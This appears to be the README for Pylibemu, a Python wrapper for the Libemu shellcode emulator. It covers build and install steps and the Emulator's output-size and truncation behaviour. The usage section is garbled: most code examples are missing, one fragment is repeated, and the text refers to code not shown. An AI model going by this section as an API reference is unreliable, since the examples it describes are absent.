Pylibemu 
Pylibemu is a wrapper for the Libemu library (https://github.com/buffer/libemu).
Requirements
- Python 2.5+ or Python 3.6+ (read installation notes)
- Libemu
Installation (Python 3)
Pylibemu > 0.5.8 does not include Libemu submodule anymore so you are required to install Libemu before installing Pylibemu.
To install Libemu, just execute:
$ git clone https://github.com/buffer/libemu.git
$ cd libemu
$ autoreconf -v -i
$ ./configure
$ make
$ sudo make installOnce Libemu is correctly installed, just execute:
$ sudo pip install pylibemuInstallation (Python 2)
Pylibemu 0.5.8 is the last version supporting Python 2.
To install Pylibemu, just execute:
$ sudo pip install pylibemu==0.5.8Usage

>>> emulator.emu_profile_truncated
FalseThe new Emulator method 'run' was introduced in Pylibemu 0.1.3 which allows not to
worry about details. Moreover the new Emulator attribute offset allows to get such
information if needed.

>>> emulator.emu_profile_truncated
FalseThe Emulator accepts the optional parameter output_size which defines how much memory
will be reserved for storing the emulation profile dump. By default, its size is 1MB but
it be can changed in two possible ways
>>> emulator = pylibemu.Emulator(1024)
>>> emulator = pylibemu.Emulator()
>>> emulator.set_output_size(1024)If the reserved memory is not enough to contain the entire dump, the dump will be truncated
and the Emulator attribute emu_profile_truncated will be set to True. This approach is
needed in order not to penalize performances while analyzing some shellcodes which may produce
several MBs dumps (such as the Metasploit windows/download_exec). If the entire dump is needed
a really simple approach could be to check the emu_profile_truncated attribute after the
shellcode emulation test, increase the reserved memory through the Emulator set_output_size
method and subsequently run the shellcode emulation test again as shown above.
